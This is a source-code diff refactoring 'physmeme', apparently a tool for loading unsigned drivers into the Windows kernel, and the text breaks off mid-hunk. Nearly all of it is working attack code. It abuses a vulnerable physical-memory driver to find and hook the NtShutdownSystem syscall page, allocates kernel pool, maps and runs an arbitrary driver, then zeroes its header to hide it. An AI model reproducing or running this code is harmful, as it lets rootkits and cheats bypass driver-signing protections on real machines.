diff --git a/physmeme-lib/drv_image/drv_image.cpp b/physmeme-lib/drv_image/drv_image.cpp index 6a024ea..514fd6e 100644 --- a/physmeme-lib/drv_image/drv_image.cpp +++ b/physmeme-lib/drv_image/drv_image.cpp @@ -28,22 +28,14 @@ For more information, please refer to !!!!!!!!!!!!!!!!!!!!!!!!!!! This code was created by not-wlan (wlan). all credit for this header and source file goes to him !!!!!!!!!!!!!!!!!!!!!!!!!!!!! */ -#include "drv_image.h" - #include #include +#include "../drv_image/drv_image.h" namespace physmeme { - drv_image::drv_image(std::vector& image) - : m_image(std::move(image)) - { - drv_image(image.data(), image.size()); - } - - drv_image::drv_image(std::uint8_t* image, std::size_t size) + drv_image::drv_image(std::vector image) : m_image(std::move(image)) { - m_image = std::vector(image, image + size); m_dos_header = reinterpret_cast(m_image.data()); assert(m_dos_header->e_magic == IMAGE_DOS_SIGNATURE); m_nt_headers = reinterpret_cast((uintptr_t)m_dos_header + m_dos_header->e_lfanew); @@ -74,9 +66,9 @@ namespace physmeme const auto target = (uintptr_t)m_image_mapped.data() + section.VirtualAddress; const auto source = (uintptr_t)m_dos_header + section.PointerToRawData; std::copy_n(m_image.begin() + section.PointerToRawData, section.SizeOfRawData, m_image_mapped.begin() + section.VirtualAddress); -#if PHYSMEME_DEBUGGING true - printf("copying [%s] 0x%p -> 0x%p [0x%04X]\n", §ion.Name[0], (void*)source, (void*)target, section.SizeOfRawData); -#endif + + if constexpr(physmeme_debugging) + printf("[+] copying [%s] 0x%p -> 0x%p [0x%04X]\n", §ion.Name[0], (void*)source, (void*)target, section.SizeOfRawData); } } @@ -127,7 +119,7 @@ namespace physmeme } - void drv_image::relocate(uintptr_t base) const + void drv_image::relocate(void* base) const { if (m_nt_headers->FileHeader.Characteristics & IMAGE_FILE_RELOCS_STRIPPED) return; @@ -135,7 +127,7 @@ namespace physmeme ULONG total_count_bytes; const auto nt_headers = ImageNtHeader((void*)m_image_mapped.data()); auto relocation_directory = (PIMAGE_BASE_RELOCATION)::ImageDirectoryEntryToData(nt_headers, TRUE, IMAGE_DIRECTORY_ENTRY_BASERELOC, &total_count_bytes); - auto image_base_delta = static_cast(static_cast(base) - (nt_headers->OptionalHeader.ImageBase)); + auto image_base_delta = static_cast(reinterpret_cast(base) - (nt_headers->OptionalHeader.ImageBase)); auto relocation_size = total_count_bytes; // This should check (DllCharacteristics & IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) too but lots of drivers do not have it set due to WDK defaults @@ -143,9 +135,8 @@ namespace physmeme if (!doRelocations) { -#if PHYSMEME_DEBUGGING true - printf("no relocations needed\n"); -#endif + if constexpr (physmeme_debugging) + printf("[+] no relocations needed\n"); return; } @@ -165,9 +156,8 @@ namespace physmeme { if (process_relocation(image_base_delta, *relocation_data, (uint8_t*)relocation_base) == FALSE) { -#if PHYSMEME_DEBUGGING true - printf("failed to relocate!"); -#endif + if constexpr (physmeme_debugging) + printf("[+] failed to relocate!"); return; } } @@ -190,9 +180,8 @@ namespace physmeme if (import_descriptors == nullptr) { -#if PHYSMEME_DEBUGGING true - printf("no imports!\n"); -#endif + if constexpr (physmeme_debugging) + printf("[+] no imports!\n"); return; } @@ -203,9 +192,10 @@ namespace physmeme const auto module_name = get_rva(import_descriptors->Name); const auto module_base = get_module(module_name); assert(module_base != 0); -#if PHYSMEME_DEBUGGING true - printf("processing module: %s [0x%I64X]\n", module_name, module_base); -#endif + + if constexpr (physmeme_debugging) + printf("[+] processing module: %s [0x%I64X]\n", module_name, module_base); + if (import_descriptors->OriginalFirstThunk) image_thunk_data = get_rva(import_descriptors->OriginalFirstThunk); else @@ -222,9 +212,9 @@ namespace physmeme const auto image_import_by_name = get_rva(*(DWORD*)image_thunk_data); const auto name_of_import = static_cast(image_import_by_name->Name); function_address = get_function(module_name, name_of_import); -#if PHYSMEME_DEBUGGING true - printf("function: %s [0x%I64X]\n", name_of_import, function_address); -#endif + + if constexpr (physmeme_debugging) + printf("[+] function: %s [0x%I64X]\n", name_of_import, function_address); assert(function_address != 0); image_func_data->u1.Function = function_address; } diff --git a/physmeme-lib/drv_image/drv_image.h b/physmeme-lib/drv_image/drv_image.h index 8271016..7e98369 100644 --- a/physmeme-lib/drv_image/drv_image.h +++ b/physmeme-lib/drv_image/drv_image.h @@ -40,9 +40,7 @@ For more information, please refer to #include #include #include - -#define PHYSMEME_DEBUGGING 1 - +#include "../util/nt.hpp" #pragma comment(lib, "Dbghelp.lib") namespace physmeme @@ -56,13 +54,12 @@ namespace physmeme PIMAGE_SECTION_HEADER m_section_header = nullptr; public: - drv_image(std::uint8_t* image, std::size_t size); - drv_image(std::vector& image); + explicit drv_image(std::vector image); size_t size() const; uintptr_t entry_point() const; void map(); static bool process_relocation(size_t image_base_delta, uint16_t data, uint8_t* relocation_base); - void relocate(uintptr_t base) const; + void relocate(void* base) const; template __forceinline T* get_rva(const unsigned long offset) @@ -70,7 +67,10 @@ namespace physmeme return (T*)::ImageRvaToVa(m_nt_headers, m_image.data(), offset, nullptr); } - void fix_imports(const std::function get_module, const std::function get_function); + void fix_imports( + const std::function get_module, + const std::function get_function + ); void* data(); size_t header_size(); }; diff --git a/physmeme-lib/kernel_ctx/kernel_ctx.cpp b/physmeme-lib/kernel_ctx/kernel_ctx.cpp index 1ff6a03..eba7a64 100644 --- a/physmeme-lib/kernel_ctx/kernel_ctx.cpp +++ b/physmeme-lib/kernel_ctx/kernel_ctx.cpp @@ -2,13 +2,11 @@ namespace physmeme { - /* - Author: xerox - Date: 4/19/2020 - */ kernel_ctx::kernel_ctx() - : psyscall_func(NULL), ntoskrnl_buffer(NULL) { + if (psyscall_func.load() || nt_page_offset || ntoskrnl_buffer) + return; + nt_rva = reinterpret_cast( util::get_module_export( "ntoskrnl.exe", @@ -16,16 +14,27 @@ namespace physmeme true )); - nt_page_offset = nt_rva % 0x1000; - ntoskrnl_buffer = reinterpret_cast(LoadLibraryA("C:\\Windows\\System32\\ntoskrnl.exe")); + nt_page_offset = nt_rva % page_size; + ntoskrnl_buffer = reinterpret_cast( + LoadLibraryA(ntoskrnl_path) + ); -#if PHYSMEME_DEBUGGING - std::cout << "[+] page offset of " << syscall_hook.first << " is: " << std::hex << nt_page_offset << std::endl; -#endif + if constexpr (physmeme_debugging) + { + printf("[+] page offset of %s is 0x%llx\n", syscall_hook.first.data(), nt_page_offset); + printf("[+] ntoskrnl_buffer: 0x%p\n", ntoskrnl_buffer); + } + + if (!ntoskrnl_buffer || !nt_rva) + { + if constexpr (physmeme_debugging) + printf("[!] ntoskrnl_buffer was 0x%p, nt_rva was 0x%p\n", ntoskrnl_buffer, nt_rva); + return; + } std::vector search_threads; //--- for each physical memory range, make a thread to search it - for (auto ranges : pmem_ranges) + for (auto ranges : util::pmem_ranges) search_threads.emplace_back(std::thread( &kernel_ctx::map_syscall, this, @@ -36,17 +45,10 @@ namespace physmeme for (std::thread& search_thread : search_threads) search_thread.join(); -#if PHYSMEME_DEBUGGING - std::cout << "[+] psyscall_func: " << std::hex << std::showbase << psyscall_func.load() << std::endl; -#endif + if constexpr (physmeme_debugging) + printf("[+] psyscall_func: 0x%p\n", psyscall_func.load()); } - /* - author: xerox - date: 4/18/2020 - - finds physical page of a syscall and map it into this process. - */ void kernel_ctx::map_syscall(std::uintptr_t begin, std::uintptr_t end) const { //if the physical memory range is less then or equal to 2mb @@ -57,7 +59,7 @@ namespace physmeme { // scan every page of the physical memory range for (auto page = page_va; page < page_va + end; page += 0x1000) - if (!psyscall_func) // keep scanning until its found + if (!psyscall_func.load()) // keep scanning until its found if (!memcmp(reinterpret_cast(page), ntoskrnl_buffer + nt_rva, 32)) { psyscall_func.store((void*)page); @@ -106,12 +108,6 @@ namespace physmeme } } - /* - Author: xerox - Date: 4/19/2020 - - allocate a pool in the kernel (no tag) - */ void* kernel_ctx::allocate_pool(std::size_t size, POOL_TYPE pool_type) { static const auto ex_alloc_pool = @@ -119,17 +115,14 @@ namespace physmeme "ntoskrnl.exe", "ExAllocatePool" ); - if (ex_alloc_pool) - return syscall(ex_alloc_pool, pool_type, size); - return NULL; - } - /* - Author: xerox - Date: 4/19/2020 + return syscall( + ex_alloc_pool, + pool_type, + size + ); + } - allocate a pool in the kernel with a tag - */ void* kernel_ctx::allocate_pool(std::size_t size, ULONG pool_tag, POOL_TYPE pool_type) { static const auto ex_alloc_pool_with_tag = @@ -137,76 +130,58 @@ namespace physmeme "ntoskrnl.exe", "ExAllocatePoolWithTag" ); - if (ex_alloc_pool_with_tag) - return syscall(ex_alloc_pool_with_tag, pool_type, size, pool_tag); - } - /* - Author: xerox - Date: 4/19/2020 + return syscall( + ex_alloc_pool_with_tag, + pool_type, + size, + pool_tag + ); + } - read kernel memory - */ - void kernel_ctx::read_kernel(std::uintptr_t addr, void* buffer, std::size_t size) + void kernel_ctx::read_kernel(void* addr, void* buffer, std::size_t size) { - size_t amount_copied; static const auto mm_copy_memory = util::get_module_export( "ntoskrnl.exe", - "MmCopyMemory" + "RtlCopyMemory" ); - if (mm_copy_memory) - syscall( - mm_copy_memory, - reinterpret_cast(buffer), - MM_COPY_ADDRESS{ (void*)addr }, - size, - MM_COPY_MEMORY_VIRTUAL, - &amount_copied - ); - } - /* - Author: xerox - Date: 4/19/2020 + syscall( + mm_copy_memory, + buffer, + addr, + size + ); + } - write kernel memory, this doesnt write to read only memory! - */ - void kernel_ctx::write_kernel(std::uintptr_t addr, void* buffer, std::size_t size) + void kernel_ctx::write_kernel(void* addr, void* buffer, std::size_t size) { - size_t amount_copied; static const auto mm_copy_memory = util::get_module_export( "ntoskrnl.exe", - "MmCopyMemory" + "RtlCopyMemory" ); - if (mm_copy_memory) - syscall( - mm_copy_memory, - reinterpret_cast(addr), - MM_COPY_ADDRESS{ buffer }, - size, - MM_COPY_MEMORY_VIRTUAL, - &amount_copied - ); - } - /* - Author: xerox - Date: 4/19/2020 + syscall( + mm_copy_memory, + addr, + buffer, + size + ); + } - zero driver header - */ - void kernel_ctx::zero_kernel_memory(std::uintptr_t addr, std::size_t size) + void kernel_ctx::zero_kernel_memory(void* addr, std::size_t size) { static const auto rtl_zero_memory = util::get_module_export( "ntoskrnl.exe", "RtlZeroMemory" ); + syscall( rtl_zero_memory, - reinterpret_cast(addr), + addr, size ); } diff --git a/physmeme-lib/kernel_ctx/kernel_ctx.h b/physmeme-lib/kernel_ctx/kernel_ctx.h index 8f82162..1829070 100644 --- a/physmeme-lib/kernel_ctx/kernel_ctx.h +++ b/physmeme-lib/kernel_ctx/kernel_ctx.h @@ -1,5 +1,6 @@ #pragma once #include +#include #include #include #include @@ -9,32 +10,69 @@ #include "../physmeme/physmeme.hpp" #include "../util/hook.hpp" -#if PHYSMEME_DEBUGGING -#include -#endif - -/* - Author: xerox - Date: 4/19/2020 - - this namespace contains everything needed to interface with the kernel -*/ namespace physmeme { + // + // offset of function into a physical page + // used for comparing bytes when searching + // + inline std::uint16_t nt_page_offset{}; + + // + // rva of nt function we are going to hook + // + inline std::uint32_t nt_rva{}; + + // + // base address of ntoskrnl (inside of this process) + // + inline const std::uint8_t* ntoskrnl_buffer{}; + + // + // mapping of a syscalls physical memory (for installing hooks) + // + inline std::atomic psyscall_func{}; + + // + // you can edit this how you choose, im hooking NtShutdownSystem. + // + inline const std::pair syscall_hook = { "NtShutdownSystem", "ntdll.dll" }; + class kernel_ctx { public: + // + // default constructor + // kernel_ctx(); + + // + // allocate kernel pool of desired size and type + // void* allocate_pool(std::size_t size, POOL_TYPE pool_type = NonPagedPool); + + // + // allocate kernel pool of size, pool tag, and type + // void* allocate_pool(std::size_t size, ULONG pool_tag = 'MEME', POOL_TYPE pool_type = NonPagedPool); - void read_kernel(std::uintptr_t addr, void* buffer, std::size_t size); - void write_kernel(std::uintptr_t addr, void* buffer, std::size_t size); + // + // read kernel memory with RtlCopyMemory + // + void read_kernel(void* addr, void* buffer, std::size_t size); - void zero_kernel_memory(std::uintptr_t addr, std::size_t size); + // + // write kernel memory with RtlCopyMemory + // + void write_kernel(void* addr, void* buffer, std::size_t size); + + // + // zero kernel memory using RtlZeroMemory + // + void zero_kernel_memory(void* addr, std::size_t size); template - T read_kernel(std::uintptr_t addr) + T read_kernel(void* addr) { if (!addr) return {}; @@ -44,7 +82,7 @@ namespace physmeme } template - void write_kernel(std::uintptr_t addr, const T& data) + void write_kernel(void* addr, const T& data) { if (!addr) return {}; @@ -55,14 +93,19 @@ namespace physmeme // use this to call any function in the kernel // template - PVOID syscall(void* addr, Ts ... args) + std::invoke_result_t syscall(void* addr, Ts ... args) { - auto proc = GetProcAddress(GetModuleHandleA("ntdll.dll"), syscall_hook.first.data()); + static const auto proc = + GetProcAddress( + GetModuleHandleA("ntdll.dll"), + syscall_hook.first.data() + ); + if (!proc || !psyscall_func || !addr) - return reinterpret_cast(STATUS_INVALID_PARAMETER); + return {}; hook::make_hook(psyscall_func, addr); - PVOID result = reinterpret_cast(reinterpret_cast(proc)(args ...)); + auto result = reinterpret_cast(proc)(args ...); hook::remove(psyscall_func); return result; } @@ -73,31 +116,5 @@ namespace physmeme // find and map the physical page of a syscall into this process // void map_syscall(std::uintptr_t begin, std::uintptr_t end) const; - - // - // mapping of a syscalls physical memory (for installing hooks) - // - mutable std::atomic psyscall_func; - - // - // you can edit this how you choose, im hooking NtShutdownSystem. - // - const std::pair syscall_hook = { "NtShutdownSystem", "ntdll.dll" }; - - // - // offset of function into a physical page - // used for comparing bytes when searching - // - std::uint16_t nt_page_offset; - - // - // rva of nt function we are going to hook - // - std::uint32_t nt_rva; - - // - // base address of ntoskrnl (inside of this process) - // - const std::uint8_t* ntoskrnl_buffer; }; } \ No newline at end of file diff --git a/physmeme-lib/map_driver.cpp b/physmeme-lib/map_driver.cpp index bc9a422..d849aad 100644 --- a/physmeme-lib/map_driver.cpp +++ b/physmeme-lib/map_driver.cpp @@ -16,6 +16,23 @@ namespace physmeme physmeme::drv_image image(raw_driver); physmeme::kernel_ctx ctx; + // + // we dont need the driver loaded anymore + // + physmeme::unload_drv(); + + // + // allocate memory in the kernel for the driver + // + const auto pool_base = ctx.allocate_pool(image.size(), NonPagedPool); + printf("[+] allocated 0x%llx at 0x%p\n", image.size(), pool_base); + + if (!pool_base) + { + printf("[!] allocation failed!\n"); + return -1; + } + // // lambdas used for fixing driver image // @@ -29,70 +46,42 @@ namespace physmeme return reinterpret_cast(util::get_module_export(base, name)); }; - // - // allocate memory in the kernel for the driver - // - std::uintptr_t pool_base = reinterpret_cast(ctx.allocate_pool(image.size(), NonPagedPool)); -#if PHYSMEME_DEBUGGING true - std::cout << "[+] allocated " << std::hex << std::showbase << image.size() << " at: " << std::hex << std::showbase << pool_base << std::endl; -#endif - if (!pool_base) - return false; - // // fix the driver image // image.fix_imports(_get_module, _get_export_name); -#if PHYSMEME_DEBUGGING true - std::cout << "[+] fixed imports" << std::endl; -#endif + printf("[+] fixed imports\n"); image.map(); -#if PHYSMEME_DEBUGGING true - std::cout << "[+] sections mapped in memory" << std::endl; -#endif + printf("[+] sections mapped in memory\n"); + image.relocate(pool_base); -#if PHYSMEME_DEBUGGING true - std::cout << "[+] relocations fixed" << std::endl; -#endif + printf("[+] relocations fixed\n"); // // copy driver into the kernel - // this might blue screen if the image takes too long to copy // ctx.write_kernel(pool_base, image.data(), image.size()); // - // driver entry params + // driver entry // - auto entry_point = pool_base + image.entry_point(); - auto size = image.size(); + auto entry_point = reinterpret_cast(pool_base) + image.entry_point(); // // call driver entry // - auto result = ctx.syscall(reinterpret_cast(entry_point), pool_base, image.size()); -#if PHYSMEME_DEBUGGING true - std::cout << "[+] driver entry returned: " << std::hex << result << std::endl; -#endif + auto result = ctx.syscall( + reinterpret_cast(entry_point), + reinterpret_cast(pool_base), + image.size() + ); + printf("[+] driver entry returned: 0x%p\n", result); // - // zero header of driver + // zero driver headers // ctx.zero_kernel_memory(pool_base, image.header_size()); -#if PHYSMEME_DEBUGGING true - std::cout << "[+] zero'ed driver's pe header" << std::endl; -#endif - - // - // close and unload vuln drivers - // -#if PHYSMEME_DEBUGGING true - std::cout << "[=] press enter to close" << std::endl; -#endif - physmeme::unload_drv(); - std::cin.get(); - return !result; // 0x0 means STATUS_SUCCESS } diff --git a/physmeme-lib/physmeme-lib.vcxproj b/physmeme-lib/physmeme-lib.vcxproj index 8e5a2df..b32fc02 100644 --- a/physmeme-lib/physmeme-lib.vcxproj +++ b/physmeme-lib/physmeme-lib.vcxproj @@ -90,7 +90,7 @@ - Level3 + TurnOffAllWarnings true _CRT_SECURE_NO_WARNINGS true @@ -105,7 +105,7 @@ - Level3 + TurnOffAllWarnings true _CRT_SECURE_NO_WARNINGS true @@ -120,7 +120,7 @@ - Level3 + TurnOffAllWarnings true true true @@ -140,7 +140,7 @@ - Level3 + TurnOffAllWarnings true true true diff --git a/physmeme-lib/physmeme/physmeme.hpp b/physmeme-lib/physmeme/physmeme.hpp index 31f284a..ad55c9e 100644 --- a/physmeme-lib/physmeme/physmeme.hpp +++ b/physmeme-lib/physmeme/physmeme.hpp @@ -4,53 +4,20 @@ #include #include +#include "../util/util.hpp" + namespace physmeme { - //--- ranges of physical memory - static std::map pmem_ranges; - - //--- validates the address - static bool is_valid(std::uintptr_t addr) - { - for (auto range : pmem_ranges) - if (addr >= range.first && addr <= range.first + range.second) - return true; - return false; - } - - // Author: Remy Lebeau - // taken from here: https://stackoverflow.com/questions/48485364/read-reg-resource-list-memory-values-incorrect-value - static const auto init_ranges = ([&]() -> bool - { - HKEY h_key; - DWORD type, size; - LPBYTE data; - RegOpenKeyEx(HKEY_LOCAL_MACHINE, "HARDWARE\\RESOURCEMAP\\System Resources\\Physical Memory", 0, KEY_READ, &h_key); - RegQueryValueEx(h_key, ".Translated", NULL, &type, NULL, &size); //get size - data = new BYTE[size]; - RegQueryValueEx(h_key, ".Translated", NULL, &type, data, &size); - DWORD count = *(DWORD*)(data + 16); - auto pmi = data + 24; - for (int dwIndex = 0; dwIndex < count; dwIndex++) - { - pmem_ranges.emplace(*(uint64_t*)(pmi + 0), *(uint64_t*)(pmi + 8)); - pmi += 20; - } - delete[] data; - RegCloseKey(h_key); - return true; - })(); - - /* - please code this function depending on your method of physical read/write. - */ + // + // please code this function depending on your method of physical read/write. + // static std::uintptr_t map_phys( std::uintptr_t addr, std::size_t size ) { //--- ensure the validity of the address we are going to try and map - if (!is_valid(addr)) + if (!util::is_valid(addr)) return NULL; static const auto map_phys_ptr = @@ -59,9 +26,9 @@ namespace physmeme return map_phys_ptr ? map_phys_ptr(addr, size) : false; } - /* - please code this function depending on your method of physical read/write. - */ + // + // please code this function depending on your method of physical read/write. + // static bool unmap_phys( std::uintptr_t addr, std::size_t size @@ -73,9 +40,9 @@ namespace physmeme return unmap_phys_ptr ? unmap_phys_ptr(addr, size) : false; } - /* - please code this function depending on your method of physical read/write. - */ + // + // please code this function depending on your method of physical read/write. + // static HANDLE load_drv() { static const auto load_driver_ptr = @@ -89,9 +56,9 @@ namespace physmeme return CreateFileA("\\\\.\\PhyMem", 0xC0000000, 3u, 0i64, 3u, 0x80u, 0i64); } - /* - please code this function depending on your method of physical read/write. - */ + // + // please code this function depending on your method of physical read/write. + // static bool unload_drv() { static const auto unload_driver_ptr = @@ -100,5 +67,5 @@ namespace physmeme return unload_driver_ptr ? unload_driver_ptr() : false; } - inline HANDLE drv_handle = load_drv(); + static HANDLE drv_handle = load_drv(); } \ No newline at end of file diff --git a/physmeme-lib/util/nt.hpp b/physmeme-lib/util/nt.hpp index 4044d8c..59ed1d0 100644 --- a/physmeme-lib/util/nt.hpp +++ b/physmeme-lib/util/nt.hpp @@ -3,17 +3,18 @@ #include #pragma comment(lib, "ntdll.lib") -#define MM_COPY_MEMORY_PHYSICAL 0x1 -#define MM_COPY_MEMORY_VIRTUAL 0x2 -#define PHYSMEME_DEBUGGING 1 - -constexpr auto PAGE_SIZE = 0x1000; -constexpr auto STATUS_INFO_LENGTH_MISMATCH = 0xC0000004; +constexpr bool physmeme_debugging = true; +constexpr auto ntoskrnl_path = "C:\\Windows\\System32\\ntoskrnl.exe"; +constexpr auto page_size = 0x1000; constexpr auto SystemModuleInformation = 11; constexpr auto SystemHandleInformation = 16; constexpr auto SystemExtendedHandleInformation = 64; +#define MM_COPY_MEMORY_PHYSICAL 0x1 +#define MM_COPY_MEMORY_VIRTUAL 0x2 + + typedef struct _SYSTEM_HANDLE { PVOID Object; diff --git a/physmeme-lib/util/util.hpp b/physmeme-lib/util/util.hpp index 5af7b34..cd49be3 100644 --- a/physmeme-lib/util/util.hpp +++ b/physmeme-lib/util/util.hpp @@ -1,17 +1,54 @@ +#pragma once #include #include #include #include #include #include +#include #include +#include +#include + #include "nt.hpp" -/* - This code stinks, its the worst code in this project and needs to be recoded in a later time. -*/ namespace util { + //--- ranges of physical memory + static std::map pmem_ranges{}; + + //--- validates the address + static bool is_valid(std::uintptr_t addr) + { + for (auto range : pmem_ranges) + if (addr >= range.first && addr <= range.first + range.second) + return true; + return false; + } + + // Author: Remy Lebeau + // taken from here: https://stackoverflow.com/questions/48485364/read-reg-resource-list-memory-values-incorrect-value + static const auto init_ranges = ([&]() -> bool + { + HKEY h_key; + DWORD type, size; + LPBYTE data; + RegOpenKeyEx(HKEY_LOCAL_MACHINE, "HARDWARE\\RESOURCEMAP\\System Resources\\Physical Memory", 0, KEY_READ, &h_key); + RegQueryValueEx(h_key, ".Translated", NULL, &type, NULL, &size); //get size + data = new BYTE[size]; + RegQueryValueEx(h_key, ".Translated", NULL, &type, data, &size); + DWORD count = *(DWORD*)(data + 16); + auto pmi = data + 24; + for (int dwIndex = 0; dwIndex < count; dwIndex++) + { + pmem_ranges.emplace(*(uint64_t*)(pmi + 0), *(uint64_t*)(pmi + 8)); + pmi += 20; + } + delete[] data; + RegCloseKey(h_key); + return true; + })(); + // this was taken from wlan's drvmapper: // https://github.com/not-wlan/drvmap/blob/98d93cc7b5ec17875f815a9cb94e6d137b4047ee/drvmap/util.cpp#L7 static void open_binary_file(const std::string& file, std::vector& data) diff --git a/physmeme-lib/x64/Release/drv_image.obj b/physmeme-lib/x64/Release/drv_image.obj new file mode 100644 index 0000000..0a39b24 Binary files /dev/null and b/physmeme-lib/x64/Release/drv_image.obj differ diff --git a/physmeme-lib/x64/Release/kernel_ctx.obj b/physmeme-lib/x64/Release/kernel_ctx.obj new file mode 100644 index 0000000..10a252a Binary files /dev/null and b/physmeme-lib/x64/Release/kernel_ctx.obj differ diff --git a/physmeme-lib/x64/Release/map_driver.obj b/physmeme-lib/x64/Release/map_driver.obj new file mode 100644 index 0000000..6ef704e Binary files /dev/null and b/physmeme-lib/x64/Release/map_driver.obj differ diff --git a/physmeme-lib/x64/Release/physmeme-lib.Build.CppClean.log b/physmeme-lib/x64/Release/physmeme-lib.Build.CppClean.log new file mode 100644 index 0000000..4490d03 --- /dev/null +++ b/physmeme-lib/x64/Release/physmeme-lib.Build.CppClean.log @@ -0,0 +1,11 @@ +c:\users\interesting\desktop\physmeme-master\physmeme-lib\x64\release\physmeme-lib.pdb +c:\users\interesting\desktop\physmeme-master\physmeme-lib\x64\release\map_driver.obj +c:\users\interesting\desktop\physmeme-master\physmeme-lib\x64\release\kernel_ctx.obj +c:\users\interesting\desktop\physmeme-master\physmeme-lib\x64\release\drv_image.obj +c:\users\interesting\desktop\physmeme-master\x64\release\physmeme-lib.lib +c:\users\interesting\desktop\physmeme-master\physmeme-lib\x64\release\physmeme-lib.tlog\cl.command.1.tlog +c:\users\interesting\desktop\physmeme-master\physmeme-lib\x64\release\physmeme-lib.tlog\cl.read.1.tlog +c:\users\interesting\desktop\physmeme-master\physmeme-lib\x64\release\physmeme-lib.tlog\cl.write.1.tlog +c:\users\interesting\desktop\physmeme-master\physmeme-lib\x64\release\physmeme-lib.tlog\lib-link.read.1.tlog +c:\users\interesting\desktop\physmeme-master\physmeme-lib\x64\release\physmeme-lib.tlog\lib-link.write.1.tlog +c:\users\interesting\desktop\physmeme-master\physmeme-lib\x64\release\physmeme-lib.tlog\lib.command.1.tlog diff --git a/physmeme-lib/x64/Release/physmeme-lib.log b/physmeme-lib/x64/Release/physmeme-lib.log new file mode 100644 index 0000000..9c36848 --- /dev/null +++ b/physmeme-lib/x64/Release/physmeme-lib.log @@ -0,0 +1,4 @@ + drv_image.cpp + kernel_ctx.cpp + map_driver.cpp + physmeme-lib.vcxproj -> C:\Users\interesting\Desktop\physmeme-master\x64\Release\physmeme-lib.lib diff --git a/physmeme-lib/x64/Release/physmeme-lib.pdb b/physmeme-lib/x64/Release/physmeme-lib.pdb new file mode 100644 index 0000000..bcbc37a Binary files /dev/null and b/physmeme-lib/x64/Release/physmeme-lib.pdb differ diff --git a/physmeme-lib/x64/Release/physmeme-lib.tlog/CL.command.1.tlog b/physmeme-lib/x64/Release/physmeme-lib.tlog/CL.command.1.tlog new file mode 100644 index 0000000..fbfc640 Binary files /dev/null and b/physmeme-lib/x64/Release/physmeme-lib.tlog/CL.command.1.tlog differ diff --git a/physmeme-lib/x64/Release/physmeme-lib.tlog/CL.read.1.tlog b/physmeme-lib/x64/Release/physmeme-lib.tlog/CL.read.1.tlog new file mode 100644 index 0000000..6874495 Binary files /dev/null and b/physmeme-lib/x64/Release/physmeme-lib.tlog/CL.read.1.tlog differ diff --git a/physmeme-lib/x64/Release/physmeme-lib.tlog/CL.write.1.tlog b/physmeme-lib/x64/Release/physmeme-lib.tlog/CL.write.1.tlog new file mode 100644 index 0000000..ac39561 Binary files /dev/null and b/physmeme-lib/x64/Release/physmeme-lib.tlog/CL.write.1.tlog differ diff --git a/physmeme-lib/x64/Release/physmeme-lib.tlog/Lib-link.read.1.tlog b/physmeme-lib/x64/Release/physmeme-lib.tlog/Lib-link.read.1.tlog new file mode 100644 index 0000000..0ce3be0 Binary files /dev/null and b/physmeme-lib/x64/Release/physmeme-lib.tlog/Lib-link.read.1.tlog differ diff --git a/physmeme-lib/x64/Release/physmeme-lib.tlog/Lib-link.write.1.tlog b/physmeme-lib/x64/Release/physmeme-lib.tlog/Lib-link.write.1.tlog new file mode 100644 index 0000000..976a3e8 Binary files /dev/null and b/physmeme-lib/x64/Release/physmeme-lib.tlog/Lib-link.write.1.tlog differ diff --git a/physmeme-lib/x64/Release/physmeme-lib.tlog/Lib.command.1.tlog b/physmeme-lib/x64/Release/physmeme-lib.tlog/Lib.command.1.tlog new file mode 100644 index 0000000..37c16df Binary files /dev/null and b/physmeme-lib/x64/Release/physmeme-lib.tlog/Lib.command.1.tlog differ diff --git a/physmeme-lib/x64/Release/physmeme-lib.tlog/physmeme-lib.lastbuildstate b/physmeme-lib/x64/Release/physmeme-lib.tlog/physmeme-lib.lastbuildstate new file mode 100644 index 0000000..28bde36 --- /dev/null +++ b/physmeme-lib/x64/Release/physmeme-lib.tlog/physmeme-lib.lastbuildstate @@ -0,0 +1,2 @@ +PlatformToolSet=v142:VCToolArchitecture=Native32Bit:VCToolsVersion=14.25.28610:TargetPlatformVersion=10.0.18362.0: +Release|x64|C:\Users\interesting\Desktop\physmeme-master\| diff --git a/physmeme-lib/x64/Release/physmeme-lib.vcxproj.FileListAbsolute.txt b/physmeme-lib/x64/Release/physmeme-lib.vcxproj.FileListAbsolute.txt new file mode 100644 index 0000000..e69de29 diff --git a/physmeme/drv_image/drv_image.cpp b/physmeme/drv_image/drv_image.cpp index 26aacdf..514fd6e 100644 --- a/physmeme/drv_image/drv_image.cpp +++ b/physmeme/drv_image/drv_image.cpp @@ -28,10 +28,9 @@ For more information, please refer to !!!!!!!!!!!!!!!!!!!!!!!!!!! This code was created by not-wlan (wlan). all credit for this header and source file goes to him !!!!!!!!!!!!!!!!!!!!!!!!!!!!! */ -#include "drv_image.h" - #include #include +#include "../drv_image/drv_image.h" namespace physmeme { @@ -67,7 +66,9 @@ namespace physmeme const auto target = (uintptr_t)m_image_mapped.data() + section.VirtualAddress; const auto source = (uintptr_t)m_dos_header + section.PointerToRawData; std::copy_n(m_image.begin() + section.PointerToRawData, section.SizeOfRawData, m_image_mapped.begin() + section.VirtualAddress); - printf("copying [%s] 0x%p -> 0x%p [0x%04X]\n", §ion.Name[0], (void*)source, (void*)target, section.SizeOfRawData); + + if constexpr(physmeme_debugging) + printf("[+] copying [%s] 0x%p -> 0x%p [0x%04X]\n", §ion.Name[0], (void*)source, (void*)target, section.SizeOfRawData); } } @@ -108,7 +109,6 @@ namespace physmeme } default: { - throw std::runtime_error("gay relocation!"); return false; } @@ -119,7 +119,7 @@ namespace physmeme } - void drv_image::relocate(uintptr_t base) const + void drv_image::relocate(void* base) const { if (m_nt_headers->FileHeader.Characteristics & IMAGE_FILE_RELOCS_STRIPPED) return; @@ -127,7 +127,7 @@ namespace physmeme ULONG total_count_bytes; const auto nt_headers = ImageNtHeader((void*)m_image_mapped.data()); auto relocation_directory = (PIMAGE_BASE_RELOCATION)::ImageDirectoryEntryToData(nt_headers, TRUE, IMAGE_DIRECTORY_ENTRY_BASERELOC, &total_count_bytes); - auto image_base_delta = static_cast(static_cast(base) - (nt_headers->OptionalHeader.ImageBase)); + auto image_base_delta = static_cast(reinterpret_cast(base) - (nt_headers->OptionalHeader.ImageBase)); auto relocation_size = total_count_bytes; // This should check (DllCharacteristics & IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) too but lots of drivers do not have it set due to WDK defaults @@ -135,7 +135,8 @@ namespace physmeme if (!doRelocations) { - printf("no relocations needed\n"); + if constexpr (physmeme_debugging) + printf("[+] no relocations needed\n"); return; } @@ -155,7 +156,8 @@ namespace physmeme { if (process_relocation(image_base_delta, *relocation_data, (uint8_t*)relocation_base) == FALSE) { - printf("failed to relocate!"); + if constexpr (physmeme_debugging) + printf("[+] failed to relocate!"); return; } } @@ -178,7 